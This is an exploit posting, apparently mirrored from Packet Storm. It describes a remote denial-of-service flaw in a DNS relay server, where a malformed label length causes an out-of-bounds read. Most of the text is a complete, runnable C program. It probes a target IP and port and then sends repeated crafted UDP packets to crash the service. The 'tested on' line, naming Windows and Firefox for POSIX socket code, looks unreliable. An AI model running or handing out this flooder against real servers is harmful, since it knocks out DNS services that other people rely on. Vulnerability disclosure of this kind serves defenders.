Share
## https://sploitus.com/exploit?id=PACKETSTORM:216941
=============================================================================================================================================
| # Title : BuptLab DNS Relay Server 1.0 Remote Denial of Service via Malformed DNS Label Length |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/TanishqNanavati/LiteDNS |
=============================================================================================================================================
[+] Summary : A remote denial-of-service vulnerability exists in BuptLab DNS Relay Server version 1.0 due to improper validation of DNS label length during query parsing.
An attacker can send a specially crafted DNS request containing an invalid label length field that exceeds the actual payload size. When the server attempts
to process this malformed DNS query, it performs an out-of-bounds memory access, which can corrupt internal memory structures or trigger a segmentation fault.
Successful exploitation results in the DNS relay service crashing, causing a remote denial of service condition. The attack requires no authentication and can
be performed by sending malicious UDP packets to the DNS service port (typically port 53).
The provided proof-of-concept demonstrates how a malformed DNS query with an oversized label length value can repeatedly trigger the vulnerability, leading to service disruption.
[+] POC :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <time.h>
#include <sys/time.h>
unsigned char dns_payload[] = {
0x12, 0x34,
0x01, 0x00,
0x00, 0x01,
0x00, 0x00,
0x00, 0x00,
0x00, 0x00,
0x1e,
0x41,
0x00,
0x00, 0x01,
0x00, 0x01
};
typedef struct {
char ip[16];
int port;
} target_t;
void print_banner() {
printf("\n");
printf("====================================================\n");
printf(" BuptLab DNS Relay Server - Remote DoS PoC\n");
printf(" indoushka Security Research\n");
printf("====================================================\n\n");
}
void generate_malformed_packet(unsigned char *packet, size_t *packet_size) {
memcpy(packet, dns_payload, sizeof(dns_payload));
packet[0] = rand() % 256;
packet[1] = rand() % 256;
*packet_size = sizeof(dns_payload);
}
int send_single_packet(int sock, struct sockaddr_in *server_addr,
unsigned char *packet, size_t packet_size) {
ssize_t sent = sendto(sock, packet, packet_size, 0,
(const struct sockaddr *)server_addr,
sizeof(*server_addr));
if (sent < 0)
return -1;
return 0;
}
int perform_dos_attack(target_t *target, int packets_count, int delay_ms) {
int sock;
struct sockaddr_in server_addr;
unsigned char packet[256];
size_t packet_size;
int success_count = 0;
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
perror("socket");
return -1;
}
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(target->port);
if (inet_pton(AF_INET, target->ip, &server_addr.sin_addr) <= 0) {
perror("inet_pton");
close(sock);
return -1;
}
printf("[+] attacking %s:%d\n", target->ip, target->port);
printf("[+] packets: %d\n", packets_count);
for (int i = 0; i < packets_count; i++) {
generate_malformed_packet(packet, &packet_size);
if (send_single_packet(sock, &server_addr, packet, packet_size) == 0) {
success_count++;
printf("[+] sent %d/%d\r", i + 1, packets_count);
fflush(stdout);
} else {
printf("\n[!] send failed %d\n", i + 1);
}
if (delay_ms > 0 && i < packets_count - 1)
usleep(delay_ms * 1000);
}
printf("\n[+] sent %d packets\n", success_count);
close(sock);
return success_count;
}
int test_target_connection(char *ip, int port) {
int sock;
struct sockaddr_in server_addr;
unsigned char test_packet[] = {
0x12,0x34,
0x01,0x00,
0x00,0x01,
0x00,0x00,
0x00,0x00,
0x00,0x00,
0x00,
0x00,0x01,
0x00,0x01
};
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
return -1;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {
close(sock);
return -1;
}
struct timeval tv;
tv.tv_sec = 2;
tv.tv_usec = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
sendto(sock, test_packet, sizeof(test_packet), 0,
(struct sockaddr *)&server_addr, sizeof(server_addr));
unsigned char buffer[512];
socklen_t addr_len = sizeof(server_addr);
int received = recvfrom(sock, buffer, sizeof(buffer), 0,
(struct sockaddr *)&server_addr, &addr_len);
close(sock);
if (received > 0)
return 1;
return 0;
}
void print_usage(char *program_name) {
printf("\nusage:\n");
printf("%s <target ip> <port> [packets] [delay_ms]\n\n", program_name);
}
int main(int argc, char *argv[]) {
target_t target;
int packets_count = 100;
int delay_ms = 0;
print_banner();
srand(time(NULL));
if (argc < 3) {
print_usage(argv[0]);
exit(EXIT_FAILURE);
}
strncpy(target.ip, argv[1], sizeof(target.ip) - 1);
target.ip[sizeof(target.ip) - 1] = '\0';
target.port = atoi(argv[2]);
if (argc >= 4)
packets_count = atoi(argv[3]);
if (argc >= 5)
delay_ms = atoi(argv[4]);
printf("[+] target %s:%d\n", target.ip, target.port);
printf("[*] checking target...\n");
int status = test_target_connection(target.ip, target.port);
if (status == 1)
printf("[+] target responding\n");
else
printf("[!] target not responding\n");
printf("[*] starting attack...\n");
perform_dos_attack(&target, packets_count, delay_ms);
return 0;
}
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================